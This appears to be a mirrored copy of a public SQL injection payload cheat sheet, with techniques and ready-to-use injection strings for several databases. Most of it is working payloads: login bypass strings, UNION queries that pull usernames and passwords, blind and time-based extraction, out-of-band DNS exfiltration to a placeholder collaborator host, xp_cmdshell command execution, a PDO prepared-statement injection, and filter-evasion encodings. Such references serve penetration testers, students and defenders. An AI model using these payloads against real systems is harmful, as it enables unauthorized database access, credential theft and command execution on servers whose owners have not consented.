daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (32966B)


      1 ---
      2 title: "SQL Injection"
      3 topic: "SQL Injection"
      4 topicSlug: "sql-injection"
      5 sourcePath: "SQL Injection/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # SQL Injection
     12 
     13 > SQL Injection (SQLi)  is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.
     14 
     15 ## Summary
     16 
     17 * [CheatSheets](/payloads/sql-injection)
     18     * [MSSQL Injection](/payloads/sql-injection/mssql-injection)
     19     * [MySQL Injection](/payloads/sql-injection/mysql-injection)
     20     * [OracleSQL Injection](/payloads/sql-injection/oraclesql-injection)
     21     * [PostgreSQL Injection](/payloads/sql-injection/postgresql-injection)
     22     * [SQLite Injection](/payloads/sql-injection/sqlite-injection)
     23     * [Cassandra Injection](/payloads/sql-injection/cassandra-injection)
     24     * [DB2 Injection](/payloads/sql-injection/db2-injection)
     25     * [SQLmap](/payloads/sql-injection/sqlmap)
     26 * [Tools](#tools)
     27 * [Entry Point Detection](#entry-point-detection)
     28 * [DBMS Identification](#dbms-identification)
     29 * [Authentication Bypass](#authentication-bypass)
     30     * [Raw MD5 and SHA1](#raw-md5-and-sha1)
     31 * [UNION Based Injection](#union-based-injection)
     32 * [Error Based Injection](#error-based-injection)
     33 * [Blind Injection](#blind-injection)
     34     * [Boolean Based Injection](#boolean-based-injection)
     35     * [Blind Error Based Injection](#blind-error-based-injection)
     36     * [Time Based Injection](#time-based-injection)
     37     * [Out of Band (OAST)](#out-of-band-oast)
     38 * [Stacked Based Injection](#stacked-based-injection)
     39 * [Polyglot Injection](#polyglot-injection)
     40 * [Routed Injection](#routed-injection)
     41 * [Second Order SQL Injection](#second-order-sql-injection)
     42 * [PDO Prepared Statements](#pdo-prepared-statements)
     43 * [Generic WAF Bypass](#generic-waf-bypass)
     44     * [No Space Allowed](#no-space-allowed)
     45     * [No Comma Allowed](#no-comma-allowed)
     46     * [No Equal Allowed](#no-equal-allowed)
     47     * [Case Modification](#case-modification)
     48 * [Labs](#labs)
     49 * [References](#references)
     50 
     51 ## Tools
     52 
     53 * [sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool
     54 * [r0oth3x49/ghauri](https://github.com/r0oth3x49/ghauri) - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws
     55 
     56 ## Entry Point Detection
     57 
     58 Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.
     59 
     60 * **Error Messages**: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.
     61     * Simple characters: `'`, `"`, `;`, `)` and `*`
     62     * Simple characters encoded: `%27`, `%22`, `%23`, `%3B`, `%29` and `%2A`
     63     * Multiple encoding: `%%2727`, `%25%27`
     64     * Unicode characters: `U+02BA`, `U+02B9`
     65         * MODIFIER LETTER DOUBLE PRIME (`U+02BA` encoded as `%CA%BA`) is transformed into `U+0022` QUOTATION MARK (`)
     66         * MODIFIER LETTER PRIME (`U+02B9` encoded as `%CA%B9`) is transformed into `U+0027` APOSTROPHE (')
     67 
     68 * **Tautology-Based SQL Injection**: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering `admin' OR '1'='1` in a username field might log you in as the admin if the system is vulnerable.
     69     * Merging characters
     70 
     71       ```sql
     72       `+HERP
     73       '||'DERP
     74       '+'herp
     75       ' 'DERP
     76       '%20'HERP
     77       '%2B'HERP
     78       ```
     79 
     80     * Logic Testing
     81 
     82       ```sql
     83       page.asp?id=1 or 1=1 -- true
     84       page.asp?id=1' or 1=1 -- true
     85       page.asp?id=1" or 1=1 -- true
     86       page.asp?id=1 and 1=2 -- false
     87       ```
     88 
     89 * **Timing Attacks**: Inputting SQL commands that cause deliberate delays (e.g., using `SLEEP` or `BENCHMARK` functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.
     90 
     91 ## DBMS Identification
     92 
     93 ### DBMS Identification Keyword Based
     94 
     95 Certain SQL keywords are specific to particular database management systems (DBMS). By using these keywords in SQL injection attempts and observing how the website responds, you can often determine the type of DBMS in use.
     96 
     97 | DBMS       | SQL Payload                                       |
     98 | ---------- | ------------------------------------------------- |
     99 | MySQL      | `conv('a',16,2)=conv('a',16,2)`                   |
    100 | MySQL      | `connection_id()=connection_id()`                 |
    101 | MySQL      | `crc32('MySQL')=crc32('MySQL')`                   |
    102 | MSSQL      | `BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)`       |
    103 | MSSQL      | `@@CONNECTIONS>0`                                 |
    104 | MSSQL      | `@@CONNECTIONS=@@CONNECTIONS`                     |
    105 | MSSQL      | `@@CPU_BUSY=@@CPU_BUSY`                           |
    106 | MSSQL      | `USER_ID(1)=USER_ID(1)`                           |
    107 | ORACLE     | `ROWNUM=ROWNUM`                                   |
    108 | ORACLE     | `RAWTOHEX('AB')=RAWTOHEX('AB')`                   |
    109 | ORACLE     | `LNNVL(0=123)`                                    |
    110 | POSTGRESQL | `5::int=5`                                        |
    111 | POSTGRESQL | `5::integer=5`                                    |
    112 | POSTGRESQL | `pg_client_encoding()=pg_client_encoding()`       |
    113 | POSTGRESQL | `get_current_ts_config()=get_current_ts_config()` |
    114 | POSTGRESQL | `quote_literal(42.5)=quote_literal(42.5)`         |
    115 | POSTGRESQL | `current_database()=current_database()`           |
    116 | SQLITE     | `sqlite_version()=sqlite_version()`               |
    117 | SQLITE     | `last_insert_rowid()>1`                           |
    118 | SQLITE     | `last_insert_rowid()=last_insert_rowid()`         |
    119 | MSACCESS   | `val(cvar(1))=1`                                  |
    120 | MSACCESS   | `IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0`               |
    121 
    122 ### DBMS Identification Error Based
    123 
    124 Different DBMSs return distinct error messages when they encounter issues. By triggering errors and examining the specific messages sent back by the database, you can often identify the type of DBMS the website is using.
    125 
    126 | DBMS                 | Example Error Message                                                                     | Example Payload |
    127 | -------------------- | ----------------------------------------------------------------------------------------- | --------------- |
    128 | MySQL                | `You have an error in your SQL syntax; ... near '' at line 1`                             | `'`             |
    129 | PostgreSQL           | `ERROR: unterminated quoted string at or near "'"`                                        | `'`             |
    130 | PostgreSQL           | `ERROR: syntax error at or near "1"`                                                      | `1'`            |
    131 | Microsoft SQL Server | `Unclosed quotation mark after the character string ''.`                                  | `'`             |
    132 | Microsoft SQL Server | `Incorrect syntax near ''.`                                                               | `'`             |
    133 | Microsoft SQL Server | `The conversion of the varchar value to data type int resulted in an out-of-range value.` | `1'`            |
    134 | Oracle               | `ORA-00933: SQL command not properly ended`                                               | `'`             |
    135 | Oracle               | `ORA-01756: quoted string not properly terminated`                                        | `'`             |
    136 | Oracle               | `ORA-00923: FROM keyword not found where expected`                                        | `1'`            |
    137 
    138 ## Authentication Bypass
    139 
    140 In a standard authentication mechanism, users provide a username and password. The application typically checks these credentials against a database. For example, a SQL query might look something like this:
    141 
    142 ```SQL
    143 SELECT * FROM users WHERE username = 'user' AND password = 'pass';
    144 ```
    145 
    146 An attacker can attempt to inject malicious SQL code into the username or password fields. For instance, if the attacker types the following in the username field:
    147 
    148 ```sql
    149 ' OR '1'='1'--
    150 ```
    151 
    152 This payload is injecting an always true statement into the username field and comment the rest SQL query.
    153 The attacker can write anything in the password field because the resulting SQL query will not check it anymore.
    154 
    155 ```SQL
    156 SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = '';
    157 ```
    158 
    159 Here, `'1'='1'` is always true, which means the query could return a valid user, effectively bypassing the authentication check.
    160 
    161 :warning: In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a `LIMIT` clause, you can restrict the number of rows returned by the query.
    162 
    163 By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.
    164 
    165 ```sql
    166 ' or 1=1 limit 1 --
    167 ```
    168 
    169 :warning: Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.
    170 
    171 * [PayloadsAllTheThings/SQL Injection/Intruder/Auth_Bypass.txt](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/SQL%20Injection/Intruder/Auth_Bypass.txt)
    172 
    173 ### Raw MD5 and SHA1
    174 
    175 In PHP, if the optional `binary` parameter is set to true, then the `md5` digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.
    176 
    177 ```php
    178 sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
    179 ```
    180 
    181 An attacker can craft a payload where the result of the `md5($password,true)` function will contain a quote and escape the SQL context, for example with `' or 'SOMETHING`.
    182 
    183 | Hash | Input                                   | Output (Raw)            | Payload |
    184 | ---- | --------------------------------------- | ----------------------- | ------- |
    185 | md5  | ffifdyop                                | `'or'6�]��!r,��b`       | `'or'`  |
    186 | md5  | 129581926211651571912466741651878684928 | `ÚT0DŸo#ßÁ'or'8`         | `'or'`  |
    187 | sha1 | 3fDf                                    | `Q�u'='�@�[�t�- o��_-!` | `'='`   |
    188 | sha1 | 178374                                  | `™ÜÛ¾}_i™›a!8Wm'/*´Õ`      | `'/*`   |
    189 | sha1 | 17                                      | `Ùp2ûjww™%6\`            | `\`     |
    190 
    191 This behavior can be abused to bypass the authentication by escaping the context.
    192 
    193 ```php
    194 sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
    195 sql1 = "SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b'";
    196 ```
    197 
    198 ### Hashed Passwords
    199 
    200 By 2025, applications almost never store plaintext passwords. Authentication systems instead use a representation of the password (a hash derived by a key-derivation function, often with a salt). That evolution changes the mechanics of some classic SQL injection (SQLi) bypasses: an attacker who injects rows via `UNION` must now supply values that match the stored representation the application expects, not the user's raw password.
    201 
    202 Many naïve authentication flows perform these high-level steps:
    203 
    204 * Query the database for the user record (e.g., `SELECT username, password_hash FROM users WHERE username = ?`).
    205 * Receive the stored `password_hash` from the DB.
    206 * Locally compute `hash(input_password)` using whatever algorithm is configured.
    207 * Compare `stored_password_hash == hash(input_password)`.
    208 
    209 If an attacker can inject an extra row into the result set (for example using `UNION`), they can make the application receive an attacker-controlled stored_password_hash. If that injected hash equals `hash(attacker_supplied_password)` as computed by the app, the comparison succeeds and the attacker is authenticated as the injected username.
    210 
    211 ```sql
    212 admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'--
    213 ```
    214 
    215 * `AND 1=0`: to force the request to be false.
    216 * `SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'`: select as many columns as necessary, here 161ebd7d45089b3446ee4e0d86dbcf92 corresponds to `MD5("P@ssw0rd")`.
    217 
    218 If the application computes `MD5("P@ssw0rd")` and that equals `161ebd7d45089b3446ee4e0d86dbcf92`, then supplying `"P@ssw0rd"` as the login password will pass the check.
    219 
    220 This method fails if the app stores `salt` and `KDF(salt, password)`. A single injected static hash cannot match a per-user salted result unless the attacker also knows or controls the salt and KDF parameters.
    221 
    222 ## UNION Based Injection
    223 
    224 In a standard SQL query, data is retrieved from one table. The `UNION` operator allows multiple `SELECT` statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a `UNION` statement to the original query.
    225 
    226 Let's assume a vulnerable web application retrieves product details based on a product ID from a database:
    227 
    228 ```sql
    229 SELECT product_name, product_price FROM products WHERE product_id = 'input_id';
    230 ```
    231 
    232 An attacker could modify the `input_id` to include the data from another table like `users`.
    233 
    234 ```SQL
    235 1' UNION SELECT username, password FROM users --
    236 ```
    237 
    238 After submitting our payload, the query become the following SQL:
    239 
    240 ```SQL
    241 SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';
    242 ```
    243 
    244 :warning: The 2 SELECT clauses must have the same number of columns.
    245 
    246 ## Error Based Injection
    247 
    248 Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.
    249 
    250 For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.
    251 
    252 ```sql
    253 LIMIT CAST((SELECT version()) as numeric) 
    254 ```
    255 
    256 The error will leak the output of the `version()`.
    257 
    258 ```ps1
    259 ERROR: invalid input syntax for type numeric: "PostgreSQL 9.5.25 on x86_64-pc-linux-gnu"
    260 ```
    261 
    262 ## Blind Injection
    263 
    264 Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.
    265 
    266 ### Boolean Based Injection
    267 
    268 Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.
    269 
    270 Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.
    271 
    272 Here is a naive example to recover the content of the `@@hostname` variable.
    273 
    274 **Identify Injection Point and Confirm Vulnerability** : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:
    275 
    276 ```ps1
    277 http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
    278 http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)
    279 ```
    280 
    281 **Extract Hostname Length**: Guess the length of the hostname by incrementing until the response indicates a match. For example:
    282 
    283 ```ps1
    284 http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
    285 http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
    286 http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)
    287 ```
    288 
    289 **Extract Hostname Characters** : Extract each character of the hostname using substring and ASCII comparison:
    290 
    291 ```ps1
    292 http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- 
    293 http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 -- 
    294 ```
    295 
    296 Then repeat the method to discover every characters of the `@@hostname`. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:
    297 
    298 * Extract characters using dichotomy: it reduces the number of requests from linear to logarithmic time, making data extraction much more efficient.
    299 
    300 ### Blind Error Based Injection
    301 
    302 Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.
    303 
    304 **Example**: Using `json()` function in SQLite to trigger an error as an oracle to know when the injection is true or false.
    305 
    306 ```sql
    307 ' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK
    308 ' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- malformed JSON
    309 ```
    310 
    311 ### Time Based Injection
    312 
    313 Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.
    314 
    315 * Default `SLEEP` function for the database
    316 
    317 ```sql
    318 ' AND SLEEP(5)/*
    319 ' AND '1'='1' AND SLEEP(5)
    320 ' ; WAITFOR DELAY '00:00:05' --
    321 ```
    322 
    323 * Heavy queries that take a lot of time to complete, usually crypto functions.
    324 
    325 ```sql
    326 BENCHMARK(2000000,MD5(NOW()))
    327 ```
    328 
    329 Let's see a basic example to recover the version of the database using a time based sql injection.
    330 
    331 ```sql
    332 http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --
    333 ```
    334 
    335 If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.
    336 
    337 ### Out of Band (OAST)
    338 
    339 Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.
    340 
    341 Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:
    342 
    343 * MySQL
    344 
    345   ```sql
    346   LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
    347   SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
    348   ```
    349 
    350 * MSSQL
    351 
    352   ```sql
    353   SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
    354   exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
    355   ```
    356 
    357 ## Stacked Based Injection
    358 
    359 Stacked Queries SQL Injection is a technique where multiple SQL statements are executed in a single query, separated by a delimiter such as a semicolon (`;`). This allows an attacker to execute additional malicious SQL commands following a legitimate query. Not all databases or application configurations support stacked queries.
    360 
    361 ```sql
    362 1; EXEC xp_cmdshell('whoami') --
    363 ```
    364 
    365 ## Polyglot Injection
    366 
    367 A polygot SQL injection payload is a specially crafted SQL injection attack string that can successfully execute in multiple contexts or environments without modification. This means that the payload can bypass different types of validation, parsing, or execution logic in a web application or database by being valid SQL in various scenarios.
    368 
    369 ```sql
    370 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
    371 ```
    372 
    373 ## Routed Injection
    374 
    375 > Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus
    376 
    377 In short, the result of the first SQL query is used to build the second SQL query. The usual format is `' union select 0xHEXVALUE --` where the HEX is the SQL injection for the second query.
    378 
    379 **Example 1**:
    380 
    381 `0x2720756e696f6e2073656c65637420312c3223` is the hex encoded of `' union select 1,2#`
    382 
    383 ```sql
    384 ' union select 0x2720756e696f6e2073656c65637420312c3223#
    385 ```
    386 
    387 **Example 2**:
    388 
    389 `0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061` is the hex encoded of `-1' union select login,password from users-- a`.
    390 
    391 ```sql
    392 -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
    393 ```
    394 
    395 ## Second Order SQL Injection
    396 
    397 Second Order SQL Injection is a subtype of SQL injection where the malicious SQL payload is primarily stored in the application's database and later executed by a different functionality of the same application.
    398 Unlike first-order SQLi, the injection doesn't happen right away. It is **triggered in a separate step**, often in a different part of the application.
    399 
    400 1. User submits input that is stored (e.g., during registration or profile update).
    401 
    402    ```text
    403    Username: attacker'--
    404    Email: attacker@example.com
    405    ```
    406 
    407 2. That input is saved **without validation** but doesn't trigger a SQL injection.
    408 
    409    ```sql
    410    INSERT INTO users (username, email) VALUES ('attacker\'--', 'attacker@example.com');
    411    ```
    412 
    413 3. Later, the application retrieves and uses the stored data in a SQL query.
    414 
    415    ```python
    416    query = "SELECT * FROM logs WHERE username = '" + user_from_db + "'"
    417    ```
    418 
    419 4. If this query is built unsafely, the injection is triggered.
    420 
    421 ## PDO Prepared Statements
    422 
    423 PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more.
    424 
    425 PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query.
    426 
    427 **Requirements**:
    428 
    429 * DMBS
    430     * **MySQL** is vulnerable by default.
    431     * **Postgres** is not vulnerable by default, unless the emulation is turned on with `PDO::ATTR_EMULATE_PREPARES => true`.
    432     * **SQLite** is not vulnerable to this attack.
    433 
    434 * SQL injection anywhere inside a PDO statement: `$pdo->prepare("SELECT $INJECT_SQL_HERE...")`.
    435 * PDO used for another SQL parameter, either with `?` or `:parameter`.
    436 
    437     ```php
    438     $pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS);
    439     $col = '`' . str_replace('`', '``', $_GET['col']) . '`';
    440 
    441     $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?");
    442     $stmt->execute([$_GET['name']]);
    443     // or
    444     $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name");
    445     $stmt->execute(['name' => $_GET['name']]);
    446     ```
    447 
    448 **Methodology**:
    449 
    450 **NOTE**: In PHP 8.3 and lower, the injection happens even without a null byte (`\0`). The attacker only needs to smuggle a "`:`" or a "`?`".
    451 
    452 * Detect the SQLi using `?#\0`: `GET /index.php?col=%3f%23%00&name=anything`
    453 
    454     ```ps1
    455     # 1st Payload: ?#\0
    456     # 2nd Payload: anything
    457     You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '`'anything'#' at line 1
    458     ```
    459 
    460 * Force a select \`'x\` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with `;#`: `GET /index.php?col=%3f%23%00&name=x%60;%23`
    461 
    462     ```ps1
    463     # 1st Payload: ?#\0
    464     # 2nd Payload: x`;#
    465     Column not found: 1054 Unknown column ''x' in 'SELECT'
    466     ```
    467 
    468 * Inject in second parameter the payload. `GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523`
    469 
    470     ```ps1
    471     # 1st Payload: \?#\0
    472     # 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
    473     ALL_PLUGINS
    474     APPLICABLE_ROLES
    475     CHARACTER_SETS
    476     CHECK_CONSTRAINTS
    477     COLLATIONS
    478     COLLATION_CHARACTER_SET_APPLICABILITY
    479     COLUMNS
    480     ```
    481 
    482 * Final SQL queries
    483 
    484     ```SQL
    485     -- Before $pdo->prepare
    486     SELECT `\?#\0` FROM animals WHERE name = ?
    487 
    488     -- After $pdo->prepare
    489     SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ?
    490     ```
    491 
    492 ## Generic WAF Bypass
    493 
    494 ---
    495 
    496 ### No Space Allowed
    497 
    498 Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.
    499 
    500 #### Alternative Whitespace Characters
    501 
    502 Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters.
    503 
    504 | Example Payload          | Description                     |
    505 | ------------------------ | ------------------------------- |
    506 | `?id=1%09and%091=1%09--` | `%09` is tab (`\t`)             |
    507 | `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`)       |
    508 | `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab           |
    509 | `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed              |
    510 | `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) |
    511 | `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space     |
    512 
    513 **ASCII Whitespace Support by Database**:
    514 
    515 | DBMS       | Supported Whitespace Characters (Hex)             |
    516 | ---------- | ------------------------------------------------- |
    517 | SQLite3    | 0A, 0D, 0C, 09, 20                                |
    518 | MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                        |
    519 | MySQL 3    | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
    520 | PostgreSQL | 0A, 0D, 0C, 09, 20                                |
    521 | Oracle 11g | 00, 0A, 0D, 0C, 09, 20                            |
    522 | MSSQL      | 01–1F, 20                                         |
    523 
    524 #### Bypassing with Comments and Parentheses
    525 
    526 SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters:
    527 
    528 | Bypass                                    | Technique           |
    529 | ----------------------------------------- | ------------------- |
    530 | `?id=1/*comment*/AND/**/1=1/**/--`        | Comment             |
    531 | `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment |
    532 | `?id=(1)and(1)=(1)--`                     | Parenthesis         |
    533 
    534 ### No Comma Allowed
    535 
    536 Bypass using `OFFSET`, `FROM` and `JOIN`.
    537 
    538 | Forbidden           | Bypass                                                                               |
    539 | ------------------- | ------------------------------------------------------------------------------------ |
    540 | `LIMIT 0,1`         | `LIMIT 1 OFFSET 0`                                                                   |
    541 | `SUBSTR('SQL',1,1)` | `SUBSTR('SQL' FROM 1 FOR 1)`                                                         |
    542 | `SELECT 1,2,3,4`    | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d` |
    543 
    544 ### No Equal Allowed
    545 
    546 Bypass using LIKE/NOT IN/IN/BETWEEN
    547 
    548 | Bypass    | SQL Example                                |
    549 | --------- | ------------------------------------------ |
    550 | `LIKE`    | `SUBSTRING(VERSION(),1,1)LIKE(5)`          |
    551 | `NOT IN`  | `SUBSTRING(VERSION(),1,1)NOT IN(4,3)`      |
    552 | `IN`      | `SUBSTRING(VERSION(),1,1)IN(4,3)`          |
    553 | `BETWEEN` | `SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4` |
    554 
    555 ### Case Modification
    556 
    557 Bypass using uppercase/lowercase.
    558 
    559 | Bypass | Technique  |
    560 | ------ | ---------- |
    561 | `AND`  | Uppercase  |
    562 | `and`  | Lowercase  |
    563 | `aNd`  | Mixed case |
    564 
    565 Bypass using keywords case insensitive or an equivalent operator.
    566 
    567 | Forbidden | Bypass                      |
    568 | --------- | --------------------------- |
    569 | `AND`     | `&&`                        |
    570 | `OR`      | `\|\|`                      |
    571 | `=`       | `LIKE`, `REGEXP`, `BETWEEN` |
    572 | `>`       | `NOT BETWEEN 0 AND X`       |
    573 | `WHERE`   | `HAVING`                    |
    574 
    575 ## Labs
    576 
    577 * [PortSwigger - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data)
    578 * [PortSwigger - SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)
    579 * [PortSwigger - SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding)
    580 * [PortSwigger - SQL Labs](https://portswigger.net/web-security/all-labs#sql-injection)
    581 * [Root Me - SQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication)
    582 * [Root Me - SQL injection - Authentication - GBK](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication-GBK)
    583 * [Root Me - SQL injection - String](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String)
    584 * [Root Me - SQL injection - Numeric](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric)
    585 * [Root Me - SQL injection - Routed](https://www.root-me.org/en/Challenges/Web-Server/SQL-Injection-Routed)
    586 * [Root Me - SQL injection - Error](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Error)
    587 * [Root Me - SQL injection - Insert](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Insert)
    588 * [Root Me - SQL injection - File reading](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-File-reading)
    589 * [Root Me - SQL injection - Time based](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Time-based)
    590 * [Root Me - SQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Blind)
    591 * [Root Me - SQL injection - Second Order](https://www.root-me.org/en/Challenges/Web-Server/SQL-Injection-Second-Order)
    592 * [Root Me - SQL injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Filter-bypass)
    593 * [Root Me - SQL Truncation](https://www.root-me.org/en/Challenges/Web-Server/SQL-Truncation)
    594 
    595 ## References
    596 
    597 * [A Novel Technique for SQL Injection in PDO's Prepared Statements - Adam Kues - July 21, 2025](https://web.archive.org/web/20251017002820/https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/)
    598 * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/)
    599 * [Implement a Blind Error-Based SQLMap payload for SQLite - soka - August 24, 2023](https://web.archive.org/web/20250513112724/https://sokarepo.github.io/web/2023/08/24/implement-blind-sqlite-sqlmap.html)
    600 * [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://web.archive.org/web/20170826221724/https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
    601 * [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://web.archive.org/web/20171221044609/https://sqlwiki.netspi.com/)
    602 * [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](https://web.archive.org/web/20260109024910/https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
    603 * [SQLi Cheatsheet - NetSparker - March 19, 2022](https://web.archive.org/web/20220219223426/https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
